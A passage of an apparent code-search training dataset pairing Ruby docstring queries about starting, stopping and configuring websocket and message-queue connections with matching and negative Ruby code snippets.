"def initialize(options = {})\n manager = options.fetch(:manager, self.class.default_connection_manager)\n clients = (Array(options[:clients]) + Array(options[:client])).flatten.uniq\n\n options = { :narrow => Stockpile.narrow? }.merge(options.reject { |k, _|\n k == :manager || k == :clients || k == :client\n })\n\n @manager = manager.new(options)\n connect(*clients)\n yield self if block_given?\n end",
"def initialize(screen_name, password, &optional_block) # :yields: message, buddy, auto_response, client\n @conn = Connection.new(screen_name)\n @screen_name = format_screen_name(screen_name)\n @password = password\n @callbacks = {}\n @buddy_list = BuddyList.new(@conn)\n add_callback(:config, :config2) { |v| @buddy_list.decode_toc v }\n add_callback(:update_buddy, :update_buddy2) { |v| update_buddy v }\n on_error do | error |\n $stderr.puts \"Error: #{error}\"\n end\n listen(&optional_block) if block_given?\n end",
"def initialize(options)\n host = {:host => options[:host], :port => options[:port]}\n host[:passcode] = options[:password] if options[:password]\n host[:login] = options[:username] if options[:username]\n headers = {}\n headers.merge!(:host => options[:host], :\"accept-version\" => \"1.2\", :\"heart-beat\" => \"2000,0\") unless options[:heartbeat] == false\n headers.merge!(:\"client-id\" => options[:client_id]) if options[:client_id]\n\n @stomp_client = Stomp::Client.new(:hosts => [host], :connect_headers => headers)\n end",
"def create_new_connection(options, &block)\n if @connection\n logger.debug(\"[WinRM] shutting previous connection #{@connection}\")\n @connection.close\n end\n\n @connection_options = options\n @connection = Kitchen::Transport::Winrm::Connection.new(options, &block)\n end",
"def initialize(options) # @todo: Refactor using factory method Connection.build_producer\n super # takes declared attributes only, skipping brokers and client_id\n brokers = options.fetch(:brokers)\n client = options.fetch(:client_id)\n @connection = DRIVER.new(brokers, client, attributes)\n @mutex = Mutex.new\n end",
"def initialize(options,block,logger)\n @options = { :parser => :json, :required_keys => [], :keys_to_sym => true }.merge(options)\n @block = block\n @log = logger\n @log.debug { \"Created reaction with options: #{options}\" }\n end",
"def create_new_connection(options, &block)\n if @connection\n logger.debug(\"[WinRM] shutting previous connection #{@connection}\")\n @connection.close\n end\n\n @connection_options = options\n @connection = Connection.new(options, &block)\n end",
"def initialize(channel, user, ws, event_context, &block)\n @channel = channel\n @user = user\n @ws = ws\n @@connections[@channel] ||= {}\n @@connections[@channel][@user] = @ws\n\n @events = {}\n\n @event_context = event_context\n\n instance_eval &block if block_given?\n end",
"def initialize options # , pre_process_blk\n # raise ArgumentError.new \"Missing publisher or subscriber\" unless Actor[ :subscriber ] and Actor[ :publisher ]\n # parsed_options = Utility::Parser.get CONFIG_FILE, RAILS_ENV, true\n raise ArgumentError.new \"Missing channels options!\" unless options[ :listening_channels ] and\n options[ :publishing_channels ] # and options[ :split_format ] # and pre_process_blk \n\n @listening_channels, @publishing_channels = options[ :listening_channels ], options[ :publishing_channels ] # , options[ :split_format ], options[ :callbacks ]\n \n raise ArgumentError.new \"Missing subscriptions in the config file: #{CONFIG_FILE}\" unless OPTIONS['subscriptions']\n @subscriptions = Hash[ OPTIONS['subscriptions'].map { |it| [ it[1][2], it[0] ] } ]\n \n @listening_channels.subscribe_all current_actor\n end",
"def initialize(opts = {})\n @connection = Bunny.new({\n username: Config.rabbitmq[\"username\"],\n password: Config.rabbitmq[\"password\"],\n vhost: Config.rabbitmq[\"vhost\"],\n host: Config.rabbitmq[\"host\"]\n })\n @connection.start\n\n @channel = @connection.create_channel\n @exchange = @channel.fanout(opts.fetch(:exchange_name, 'spider-default'))\n end",
"def initialize\n\n @connection_options = Baton.configuration.connection_opts\n @amqp_hosts = Baton.configuration.amqp_host_list\n\n logger.info \"Connecting to AMQP host: #{@connection_options[:host]}\"\n\n @connection = AMQP.connect(@connection_options)\n @channel = AMQP::Channel.new(@connection)\n @channel.auto_recovery = true\n\n # Not everything needs an input exchange, default to the \"\" exchange if there isn't\n # one defined in the config (monitors for example)\n Baton.configuration.exchange = '' if Baton.configuration.exchange.nil?\n\n # Create the exchanges\n @exchange_in = channel.direct(Baton.configuration.exchange)\n @exchange_out = channel.direct(Baton.configuration.exchange_out)\n\n # Attach callbacks for error handling\n @connection.on_tcp_connection_loss(&method(:handle_tcp_failure))\n @connection.on_skipped_heartbeats(&method(:handle_tcp_failure))\n @channel.on_error(&method(:handle_channel_exception))\n end",
"def initialize(options = {}, &block)\n @connections, @busy_connections, @queue = [], {},[]\n @connection_proc = block\n @size = options[:size] || 8\n if options[:eager]\n @size.times do\n @connections << @connection_proc.call\n end\n end\n end",
"def initialize(options={})\n raise ValueError.new(\"You must include the an :xml or :doc option when creating a message\") unless options[:xml] || options[:doc]\n if (options[:xml])\n @document = REXML::Document.new(options[:xml])\n @xml = options[:xml]\n else\n @document = options[:doc]\n end \n \n end",
"def create_new_connection(options, &block)\n if @connection\n logger.debug(\"[Dokken] shutting previous connection #{@connection}\")\n @connection.close\n end\n\n @connection = Kitchen::Transport::Dokken::Connection.new(options, &block)\n end",
"def initialize(xrc_class, options = {})\n @klass = xrc_class\n @options = options\n end",
"def initialize(msg_clazz, &block)\n @msg_clazz = msg_clazz\n @block = block\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Starts the thread to consume the Websocket feed | def start!
start_websocket_thread
end | [
"def start\n @thread = Thread.new do\n EM::WebSocket.start(ws_options) do |ws|\n ws.onopen do |handshake|\n log \"onopen: #{handshake.headers}\"\n @clients << ws\n end\n\n ws.onclose do |event|\n log \"closed: #{event}\"\n @clients.delete ws\n end\n\n ws.onmessage do |msg|\n log \"received: #{msg}\"\n end\n end\n end\n end",
"def start_websocket_thread\n @websocket_thread = Thread.new do\n setup_websocket_callback\n EM.run do\n websocket.start!\n setup_ping_timer\n setup_error_handler\n end\n end\n end",
"def start\n # Eventmachine run\n EM.run do\n # set what to do on message from websocket\n on_message\n\n # set what to do on close of websocket connection\n on_close\n end\n end",
"def start_stream\n @config.logger.debug('Starting push mode ...')\n sync_all_thread\n @synchronizer.start_periodic_data_recording\n\n start_sse_connection_thread\n end",
"def start\n\n EventMachine.run do\n\n self.language_tweets = {}\n self.metrics_api = FnordMetric::API.new\n\n puts '='*80, \"Connecting to websockets server at ws://#{websocket_host}:#{websocket_port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{websocket_host}:#{websocket_port}/websocket\").get :timeout => 0\n\n http.errback do\n puts.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n tweet = JSON.parse(msg)\n cld_info = CLD.detect_language(tweet['text'])\n\n language = cld_info[:reliable] ? cld_info[:name] : \"unreliable\"\n language_tweets[language] ||= 0\n language_tweets[language] += 1\n\n metrics_api.event(:_type => :tweet_processed, :language => cld_info[:name], :reliable => cld_info[:reliable])\n puts language_tweets.sort_by{|key, value| -value }.inspect\n\n end\n\n end\n\n end",
"def start\n\n logger.info('Starting the WebSocket Client...')\n\n EventMachine.run do\n\n puts '='*80, \"Connecting to websockets server at ws://#{Settings.websocket.host}:#{Settings.websocket.port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{Settings.websocket.host}:#{Settings.websocket.port}/websocket\").get :timeout => 0\n\n http.errback do\n logger.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n puts msg\n end\n\n end\n \n end",
"def start_consumer\n Thread.new do\n $consumer.subscribe(with_prefix(KAFKA_TOPIC))\n begin\n $consumer.each_message do |message|\n $recent_messages << [message, {received_at: Time.now.iso8601}]\n $recent_messages.shift if $recent_messages.length > 10\n puts \"consumer received message! local message count: #{$recent_messages.size} offset=#{message.offset}\"\n end\n rescue Exception => e\n puts 'CONSUMER ERROR'\n puts \"#{e}\\n#{e.backtrace.join(\"\\n\")}\"\n exit(1)\n end\n end\nend",
"def start\n return if @continue_sending\n\n @continue_sending = true\n Thread.new do\n while @continue_sending\n if @subscriber && !empty_queue?\n payload = @sse_queue.pop\n stream_sse_payload(payload)\n end\n end\n\n unsubscribe\n end\n end",
"def run\n while data = @socket.recv(RECEIVE_WINDOW)\n async.handle_data(data)\n end\n end",
"def run\n @mailbox.logger.info({ context: @mailbox.context, action: \"Setting up watcher\" })\n @running = true\n\n connection.on_new_message do |message|\n @mailbox.deliver(message)\n end\n\n self.watching_thread = Thread.start do\n while(running?) do\n connection.wait\n end\n end\n\n watching_thread.abort_on_exception = true\n end",
"def listen\n Thread.new do\n listen!\n end\n end",
"def start_sse_connection_thread\n @config.threads[:sync_manager_start_sse] = Thread.new do\n begin\n connected = @push_manager.start_sse\n @synchronizer.start_periodic_fetch unless connected\n rescue StandardError => e\n @config.logger.error(\"start_sse_connection_thread error : #{e.inspect}\")\n end\n end\n end",
"def run\n while (data = @socket.recv(RECEIVE_WINDOW))\n async.handle_data(data)\n end\n end",
"def run\n @logging.debug 'Starting polling'\n @polling = true\n\n while @polling\n pending_feeds = Feed.all.select &:pending_refresh?\n\n pending_feeds.each do |feed|\n @logging.debug \"Requesting `#{feed.url}'\"\n\n update_feed feed\n end\n\n sleep 1\n end\n end",
"def start\n @last_message_date ||= @mailbox.last.date\n @thread = Thread.new do\n loop do\n sleep( @frequency)\n check\n end\n end\n end",
"def run\n raise 'not setup!' unless setup?\n klass = @setup[0].node ? Blather::Stream::Client : Blather::Stream::Component\n klass.start self, *@setup\n end",
"def run\n Thread.start do\n begin\n while true\n main_loop\n end\n ensure\n @protocol.close if @protocol\n end\n end\n end",
"def start()\n \n unread = notifications()['UnreadMessage'].to_i\n\n @thread = Thread.new do\n loop do\n\n unread_messages = notifications()['UnreadMessage'].to_i\n\n if unread_messages > unread then\n\n @callback.call if @callback\n unread = unread_messages\n\n end\n\n sleep 3\n\n end\n end\n\n 'checking for new message every 3 seconds ...'\n\n end",
"def start()\n\t\t\t\t@stopReading = false\n\t\t\t\t@thread = Thread.new do\t\t\t\t\t\n\t\t\t\t\tbegin\n\t\t\t\t\t\tuntil @stopReading\n\t\t\t\t\t\t\treadFromStream()\n\t\t\t\t\t\t\tsleep( 0.1 )\n\t\t\t\t\t\tend\n\t\t\t\t\trescue Exception => ex\n\t\t\t\t\t\t@exception = ex\n\t\t\t\t\t\t@stopReading = true\n\t\t\t\t\t\tputs ex\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Stops the thread and disconnects from the Websocket | def stop!
websocket_thread.kill
websocket.stop!
end | [
"def stop!\n @processing_thread.kill\n @em_thread.kill\n @websocket.stop!\n end",
"def disconnect\n @thread.kill\n @socket.close\n end",
"def stop!\n return unless running?\n @logger.info 'Stopping WebSocket server'\n @client_mutex.synchronize do\n @clients.each do |socket, client|\n client.stop!\n end\n end\n @server_thread.kill if @server_thread\n @server.close\n end",
"def stop\n if @running\n @running = false\n @connections.each { |conn| conn.stop(@stop_bytes) }\n end\n end",
"def stop!\n @stream.stop\n @stream.close_connection\n end",
"def disconnect!\n @disconnected = true\n @message_queue.push(:QUIT)\n begin\n @socket.close\n rescue => e\n # Ignore close error, since we may not be connected\n end\n\n @listen_thread.kill if @listen_thread\n # @worker_thread.kill\n\n # Wait for the worker to publish all messages\n @worker_thread.join if Thread.current != @worker_thread && @worker_thread\n\n @message_bus.remove_peer_connection(self)\n end",
"def stop!\n @thread.kill if @thread\n join_thread\n end",
"def stop()\n if(@thread.nil?)\n @logger.error(\"Tried to stop a listener that wasn't listening!\")\n return\n end\n\n @thread.kill()\n @thread = nil\n end",
"def stop\n @running = false\n @stopping = true\n \n # Do not accept anymore connection\n disconnect\n # Close idle persistent connections\n @connections.each_value { |connection| connection.close_connection if connection.idle? }\n stop! if @connections.empty?\n end",
"def stop\n @listen_thread.kill if listening?\n end",
"def stop\n @timer_worker.shutdown\n @broker.stop\n @message_worker.shutdown\n end",
"def stop\n @server_socket.close\n end",
"def stop!\n @connections.each do |connection|\n puts \" -> stopping '#{connection.connection_id}'\"\n connection.disconnect\n end\n\n SweetieBot.log 'Stopped.'\n end",
"def stop\n unless Thread.current == @thread\n @thread.kill\n end\n end",
"def stop\n listener_thread.kill\n clients_thread.kill\n\n clients.each do |cli|\n close_client(cli)\n end\n end",
"def disconnect\n\t\tsynchronize do\n\t\t Roby::Distributed.info \"disconnecting from #{self}\"\n\t\t @connection_state = :disconnecting\n\t\tend\n\t\tqueue_call false, :disconnect\n\t end",
"def disconnect\n Log.debug(\"Disconnecting from Stomp\")\n @connection.disconnect\n end",
"def stop\n log.info(\"#{queue_info} state=stopped\")\n consumer.disconnect\n Process.exit(0)\n rescue Bunny::NetworkFailure => be\n # Do nothing. We are quitting and if this happened it is probably because\n # as similar error was raised in `#call`\n end",
"def disconnect\n EM.next_tick { @connection.close_connection }\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Configures the websocket to pass each message to each of the defined message callbacks | def setup_websocket_callback
websocket.message do |message|
queue.push(message)
message_callbacks.each { |b| b&.call(message) }
end
end | [
"def message_callbacks\n @messagecbs\n end",
"def send_all(message)\n @clients.each do |websocket, client|\n websocket.send message\n end\n puts \"send_all: #{message}\"\n end",
"def set_message_handler(&block); end",
"def handle_callbacks message\n receivers.to_a.each do |block|\n block.call message\n end\n end",
"def register_callbacks\n # successful connection\n @connection.callback do\n Logger.info \"Connected to WebSocket: #{@url}\"\n\n run_test\n end\n\n # when the socket couldn't be connected\n @connection.errback do |e|\n Logger.info \"Couldn't connect: #{e}\"\n end\n\n # when a message is received from the socket\n @connection.stream do |message|\n message = JSON.parse message.data\n Logger.info \"Received message: \" if $opts[:verbose]\n ap message if $opts[:verbose]\n\n # if the message contained a result\n if message['result']\n if message['id']\n # look for ID-based callback and pass it the result\n callback = @callbacks[message['id']]\n callback.call(message['result']) if callback\n end\n elsif message['method']\n # look for generic method callback, e.g.\n # https://developers.google.com/chrome-developer-tools/docs/protocol/tot/console#event-messageAdded\n callback = @callbacks[message['method']]\n callback.call(message['params']) if callback\n elsif message['error']\n Logger.info \"Error returned: #{message['error']}\"\n end\n end\n\n # when you close the browser or dev tools\n @connection.disconnect do\n Logger.info \"Browser disconnected the WebSocket.\"\n end\n end",
"def listen\n puts \"listen...\"\n EM.run do\n WebSocket::EventMachine::Server.start(host: self.host, port: self.port) do |ws|\n\n puts \"listening\"\n\n # Called when a new message arrives at the server\n #\n ws.onmessage do |message, type|\n puts \"onmessage\"\n\n # Attempt to parse the received data as JSON\n #\n message_json = json_try_parse(message)\n if message_json.nil?\n ws.send({payload: \"invalid message\", status: 400}.to_json, :type => :text)\n ws.close\n else\n\n # Execute the appropriate action based on JSON action\n #\n case message_json[:action].to_sym\n\n # Handle authentication requests by calling the authentication\n # method supplied on server setup\n #\n when :authenticate\n puts \"authentication reuqest\"\n authentication_result = authenticate(message_json[:payload])\n if authentication_result\n add_connection(identifier: authentication_result, connection: ws)\n ws.send({payload: \"authenticated\", status: 200}.to_json, :type => :text)\n else\n ws.send({payload: \"authentication failure\", status: 401}.to_json, :type => :text)\n ws.close\n end\n\n # Handle delivery requests by verifying the auth token supplied\n # then push out the payload to all connected specified clients\n #\n when :deliver\n puts \"deliver\"\n puts message_json\n if message_json[:secret_token] == self.secret_token\n puts \"good token\"\n deliver_to_many(payload: message_json[:payload], identifiers: [message_json[:identifiers]].flatten)\n ws.send({payload: \"payload pushed\", status: 201}.to_json, :type => :text)\n ws.close\n else\n puts \"delivery auth failure\"\n ws.send({payload: \"authentication failure\", status: 401}.to_json, :type => :text)\n ws.close\n end\n\n else\n puts \"invalid request\"\n ws.send({payload: \"invalid action\", status: 405}.to_json, :type => :text)\n ws.close\n end\n\n end\n end\n\n # Cleanup connection lists when a connection is closed\n #\n ws.onclose do\n remove_connection(ws)\n end\n\n end\n end\n end",
"def send_to_all(message)\n EM.next_tick do\n settings.sockets.each do |s|\n s.send(message.to_json)\n end\n end\n end",
"def batch_messages &block\n @app.dom_on_sockets._batch_commands << nil\n block.call\n @app.dom_on_sockets._batch_commands.pop\n\n # just need to call this function\n @app.dom_on_sockets.execute ''\n end",
"def send_messages(messages)\n messages.each { |m| write_to_stream m }\nend",
"def initialize websocket, subscribe: \"ipc:///tmp/adsb_updates\", **redis_opts\n @socket = websocket\n @subscribe_url = subscribe\n #opts = {driver: :celluloid}.merge! redis_opts\n opts = {driver: :hiredis}.merge! redis_opts\n #opts = redis_opts\n @redis = ::Redis.new opts\n async.run\n puts \"Forwarding messages to websocket\"\n end",
"def on_message &handler\n\t\t@message_handlers << handler\n\tend",
"def process_messages\n # Check status for all streams, reopen as necessary\n @streams.each { |_, stream| try { stream.keep_alive } }\n\n # Actual processing of incoming messages happens in event callbacks\n # Oбрабатываем пришедшее сообщение в интерфейсах обратного вызова\n @conn.ProcessMessage2(100)\n end",
"def receive(websocket_message); end",
"def attach_methods websocket, methods\n methods.each_pair do |key, method|\n websocket.on(key) { |event| method.call(event) }\n end\n end",
"def setup_default_handlers\n # Incoming events\n prepend_handler :incoming_msg, self.method(:r_msg)\n prepend_handler :incoming_act, self.method(:r_act)\n prepend_handler :incoming_notice, self.method(:r_notice)\n prepend_handler :incoming_ctcp, self.method(:r_ctcp)\n prepend_handler :incoming_ctcpreply, self.method(:r_ctcpreply)\n prepend_handler :incoming_mode, self.method(:r_mode)\n prepend_handler :incoming_join, self.method(:r_join)\n prepend_handler :incoming_part, self.method(:r_part)\n prepend_handler :incoming_kick, self.method(:r_kick)\n prepend_handler :incoming_quit, self.method(:r_quit)\n prepend_handler :incoming_nick, self.method(:r_nick)\n prepend_handler :incoming_miscellany, self.method(:r_miscellany)\n\n # Incoming numeric events here\n prepend_handler :incoming_welcome, self.method(:r_welcome)\n prepend_handler :incoming_bannedfromchan, self.method(:r_bannedfromchan)\n prepend_handler :incoming_badchannelkey, self.method(:r_badchannelkey)\n prepend_handler :incoming_nicknameinuse, self.method(:_nicknameinuse)\n prepend_handler :incoming_channelurl, self.method(:r_channelurl)\n prepend_handler :incoming_topic, self.method(:r_topic)\n prepend_handler :incoming_topicinfo, self.method(:r_topicinfo)\n prepend_handler :incoming_namreply, self.method(:_namreply)\n prepend_handler :incoming_endofnames, self.method(:r_endofnames)\n prepend_handler :incoming_motd, self.method(:r_motd)\n prepend_handler :incoming_motdstart, self.method(:r_motdstart)\n prepend_handler :incoming_endofmotd, self.method(:r_endofmotd)\n prepend_handler :incoming_invite, self.method(:r_invite)\n\n # Outgoing events\n prepend_handler :outgoing_begin_connection, self.method(:out_begin_connection)\n end",
"def trigger_callbacks_for(msg)\n case msg.message_type\n\n # ----- server messages\n when RPL_WELCOME\n notify :registered_with_server\n when CMD_PING\n notify :server_ping, msg.params[0] # server wants the params back\n when CMD_ERROR\n notify :server_error\n\n # ----- nick-related -----\n when CMD_NICK\n @state[:nick] = msg.params[0] if msg.prefix[:nick] == @state[:nick]\n threaded_notify :nick_changed, msg.prefix[:nick], msg.params[0]\n when ERR_NICKNAMEINUSE\n # nickname errors are deterministic, that is, the client keeps track of the \n # state of attempted nick changes in @state, and the server responds to them\n # in order, so no additional info needs to be sent in the callback.\n # (this is tested)\n notify :nick_in_use\n when ERR_ERRONEUSNICKNAME\n notify :nick_invalid\n\n # ----- channel-related -----\n when CMD_JOIN\n threaded_notify :joined_channel, msg.user, msg.params[0]\n when CMD_PART\n threaded_notify :left_channel, msg.user, msg.params[0], msg.params[1]\n when CMD_QUIT\n threaded_notify :quit_server, msg.user, msg.params[0]\n when RPL_TOPIC # negative indices handle rfc and non-rfc commands\n threaded_notify :topic_changed, msg.params[-2], msg.params[-1], nil\n when CMD_TOPIC\n threaded_notify :topic_changed, msg.params[0], msg.params[1], msg.user\n when RPL_NAMREPLY\n @state[:scratch] ||= {}\n @state[:scratch][msg.params[-2]] ||= []\n # strip out leading mode characters: @, +, ~, etc.\n @state[:scratch][msg.params[-2]] += msg.params[-1].split.map { |name| name.gsub(/^[^a-zA-Z\\[\\]\\\\`_\\^{}\\|]/,'') }\n when RPL_ENDOFNAMES\n if @state[:scratch]\n threaded_notify :channel_name_list, msg.params[-2], ( @state[:scratch][msg.params[-2]] || [] )\n @state[:scratch].delete(msg.params[-2])\n else\n threaded_notify :channel_name_list, []\n end\n \n # ----- messaging -----\n when CMD_PRIVMSG\n if private?(msg)\n threaded_notify :private_message, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_message, msg.params[0], msg.params[1], msg.user\n end\n when CMD_NOTICE\n if private?(msg)\n threaded_notify :private_notice, msg.params[0], msg.params[1], msg.user\n else\n threaded_notify :channel_notice, msg.params[0], msg.params[1], msg.user\n end\n\n end\n end",
"def process_connect\n self.class.setup\n logger.info \"Initializing the current instance\"\n self.channels = []\n self.connections << self\n logger.info \"Setting the client for each handler\"\n self.handlers.each { |h| h.client = self if h.respond_to?(:client=) }\n logger.info \"Dispatching the default :client_connected event\"\n dispatch :client_connected\n end",
"def configure_event_handling(options = {})\n @socket.onopen { |handshake| handle_open(handshake) }\n @socket.onclose { handle_close }\n @socket.onmessage { |raw_message| handle_message_received(raw_message) }\n end",
"def muc_handlers\n Proc.new do |muc|\n muc.on_message do |time, nick, text|\n if time.nil? # Don't process messages from the past.\n begin\n dispatch_messages(:message, [Message.new(nick, text, Time.now, :public)]) unless nick == config.nick\n rescue Exception => boom\n log.fatal boom.inspect\n log.fatal boom.backtrace[0..5].join(\"\\n\")\n end\n end\n end\n\n muc.on_private_message do |time, nick, text|\n if time.nil? # Don't process messages from the past.\n begin\n dispatch_messages(:private, [Message.new(nick, text, Time.now, :private)]) unless nick == config.nick\n rescue Exception => boom\n log.fatal boom.inspect\n log.fatal boom.backtrace[0..5].join(\"\\n\")\n end\n end\n end\n\n muc.on_join do |time, nick|\n unless @users.include? nick\n @users << nick\n end\n if time.nil? # Don't process messages from the past.\n begin\n dispatch_messages(:join, [Message.new(nick, \"join\", Time.now, :join)]) unless nick == config.nick\n rescue Exception => boom\n log.fatal boom.inspect\n log.fatal boom.backtrace[0..5].join(\"\\n\")\n end\n end\n end\n\n muc.on_leave do |time, nick|\n @users.delete(nick)\n if time.nil? # Don't process messages from the past.\n begin\n dispatch_messages(:leave, [Message.new(nick, \"leave\", Time.now, :leave)])\n rescue Exception => boom\n log.fatal boom.inspect\n log.fatal boom.backtrace[0..5].join(\"\\n\")\n end\n end\n end\n\n muc.on_subject do |time, nick, subject|\n if time.nil? # Don't process messages from the past.\n begin\n dispatch_messages(:subject, [Message.new(nick, subject, Time.now, :subject)])\n rescue Exception => boom\n log.fatal boom.inspect\n log.fatal boom.backtrace[0..5].join(\"\\n\")\n end\n end\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Starts the thread that consumes the websocket | def start_websocket_thread
@websocket_thread = Thread.new do
setup_websocket_callback
EM.run do
websocket.start!
setup_ping_timer
setup_error_handler
end
end
end | [
"def start!\n start_websocket_thread\n end",
"def start\n @thread = Thread.new do\n EM::WebSocket.start(ws_options) do |ws|\n ws.onopen do |handshake|\n log \"onopen: #{handshake.headers}\"\n @clients << ws\n end\n\n ws.onclose do |event|\n log \"closed: #{event}\"\n @clients.delete ws\n end\n\n ws.onmessage do |msg|\n log \"received: #{msg}\"\n end\n end\n end\n end",
"def start\n\n logger.info('Starting the WebSocket Client...')\n\n EventMachine.run do\n\n puts '='*80, \"Connecting to websockets server at ws://#{Settings.websocket.host}:#{Settings.websocket.port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{Settings.websocket.host}:#{Settings.websocket.port}/websocket\").get :timeout => 0\n\n http.errback do\n logger.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n puts msg\n end\n\n end\n \n end",
"def start\n # Eventmachine run\n EM.run do\n # set what to do on message from websocket\n on_message\n\n # set what to do on close of websocket connection\n on_close\n end\n end",
"def start\n\n EventMachine.run do\n\n self.language_tweets = {}\n self.metrics_api = FnordMetric::API.new\n\n puts '='*80, \"Connecting to websockets server at ws://#{websocket_host}:#{websocket_port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{websocket_host}:#{websocket_port}/websocket\").get :timeout => 0\n\n http.errback do\n puts.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n tweet = JSON.parse(msg)\n cld_info = CLD.detect_language(tweet['text'])\n\n language = cld_info[:reliable] ? cld_info[:name] : \"unreliable\"\n language_tweets[language] ||= 0\n language_tweets[language] += 1\n\n metrics_api.event(:_type => :tweet_processed, :language => cld_info[:name], :reliable => cld_info[:reliable])\n puts language_tweets.sort_by{|key, value| -value }.inspect\n\n end\n\n end\n\n end",
"def listen\n puts \"listen...\"\n EM.run do\n WebSocket::EventMachine::Server.start(host: self.host, port: self.port) do |ws|\n\n puts \"listening\"\n\n # Called when a new message arrives at the server\n #\n ws.onmessage do |message, type|\n puts \"onmessage\"\n\n # Attempt to parse the received data as JSON\n #\n message_json = json_try_parse(message)\n if message_json.nil?\n ws.send({payload: \"invalid message\", status: 400}.to_json, :type => :text)\n ws.close\n else\n\n # Execute the appropriate action based on JSON action\n #\n case message_json[:action].to_sym\n\n # Handle authentication requests by calling the authentication\n # method supplied on server setup\n #\n when :authenticate\n puts \"authentication reuqest\"\n authentication_result = authenticate(message_json[:payload])\n if authentication_result\n add_connection(identifier: authentication_result, connection: ws)\n ws.send({payload: \"authenticated\", status: 200}.to_json, :type => :text)\n else\n ws.send({payload: \"authentication failure\", status: 401}.to_json, :type => :text)\n ws.close\n end\n\n # Handle delivery requests by verifying the auth token supplied\n # then push out the payload to all connected specified clients\n #\n when :deliver\n puts \"deliver\"\n puts message_json\n if message_json[:secret_token] == self.secret_token\n puts \"good token\"\n deliver_to_many(payload: message_json[:payload], identifiers: [message_json[:identifiers]].flatten)\n ws.send({payload: \"payload pushed\", status: 201}.to_json, :type => :text)\n ws.close\n else\n puts \"delivery auth failure\"\n ws.send({payload: \"authentication failure\", status: 401}.to_json, :type => :text)\n ws.close\n end\n\n else\n puts \"invalid request\"\n ws.send({payload: \"invalid action\", status: 405}.to_json, :type => :text)\n ws.close\n end\n\n end\n end\n\n # Cleanup connection lists when a connection is closed\n #\n ws.onclose do\n remove_connection(ws)\n end\n\n end\n end\n end",
"def start_socket_server\n EventMachine::WebSocket.start(configuration.socket_options) do |socket|\n socket.onopen do\n connection = Connection.new(socket)\n connection.establish\n\n socket.onmessage { |data| connection.process(data) }\n socket.onclose { Channel.remove(connection) }\n end\n end\n end",
"def start\n @client.listen do |message|\n handle(message)\n end\n end",
"def setup_websocket_callback\n websocket.message do |message|\n queue.push(message)\n message_callbacks.each { |b| b&.call(message) }\n end\n end",
"def listen\n Thread.new do\n listen!\n end\n end",
"def run\n\t\tloop do\n\t\t\tThread.start(@server.accept) do |session|\n\t\t\t\tserve session\n\t\t\tend\n\t\tend\n\tend",
"def startup_client\n this = self\n\n options = {\n :tls => {\n :verify_peer => true,\n }\n }\n if @proxy_url\n options[:proxy] = {\n :origin => @proxy_url,\n }\n end\n Thread.new {\n EM.run {\n @ws = Faye::WebSocket::Client.new(\"#{@stream_endpoint}/v2/signalflow/connect\", [], options)\n @ws.on :error do |e|\n this.on_error(e)\n end\n\n @ws.on :close do |e|\n this.on_close(e)\n EM.stop_event_loop\n end\n\n @ws.on :message do |m|\n this.on_message(m)\n end\n\n @ws.on :open do\n this.on_open\n end\n }\n }\n end",
"def test1 #fails\n\n EventMachine::WebSocket.start(:host => \"0.0.0.0\", :port => 8567) do |ws|\n ws.onopen do\n puts \"WebSocket opened\"\n conn = Bunny.new\n conn.start\n#ch = conn.default_channel\n q = $ch.queue(\"tweets\")\n q.subscribe(:block => true) do |delivery_info, properties, body|\n puts \"Received tweet\\n\"\n ws.send \"test\"\n end\n end\n ws.onclose do\n ws.close(code = nil, body = nil)\n puts \"WebSocket closed\"\n# exit\n end\n end\nend",
"def start\n set_status 'starting'\n load_config unless @config.present?\n open_connection\n open_channel\n set_status 'started'\n end",
"def run_event_machine\n EventMachine.run do\n # ws = Current Web Socket.\n EventMachine::WebSocket.start(:host => '0.0.0.0', :port => port) do |ws|\n \n ws.onopen do\n prepare(ws)\n onopen\n end\n\n ws.onmessage do |mes|\n prepare(ws)\n onmessage mes\n end\n \n ws.onclose do\n prepare(ws)\n onclose\n end\n end\n end\n \n end",
"def start_stream\n @config.logger.debug('Starting push mode ...')\n sync_all_thread\n @synchronizer.start_periodic_data_recording\n\n start_sse_connection_thread\n end",
"def on_open\n puts \"Websocket connection opened\"\n end",
"def start\n @socket.listen(5)\n Thread.current[:name] = 'Main Listener'\n p 'listening'\n start_console\n p 'console running'\n # on connection put new socket into new thread\n # thread does 'handshake' which gets username and password from TCP cleint\n # If handshake returns a user object it reads and broadcasts messages from it, otherwise it closes the connection in handhsake and then kills the thread.\n loop do\n thr = Thread.start(@socket.accept) do |connection|\n user = nil\n p '', \"server accepted :#{connection}\"\n begin\n # hand shake looks at request, if its HTTP is sends response and returns false after closing the connection,\n # if its not HTTP it welcomes to TCPChat and asks for a user name, then returns a userStruct(@socket,name)\n user = handshake(connection)\n rescue StandardError => exception\n p '', \"handshake rescue: #{exception}\"\n connection[0].puts exception\n connection[0].close\n user = false\n end\n if user\n thr[:name] = user[:name]\n read(user)\n end\n end\n end\n rescue StandardError => exception\n p exception\n ensure\n p 'ensureing socket.close()'\n @threads.each(&:kill) if @threads\n @socket.close if @socket\n end",
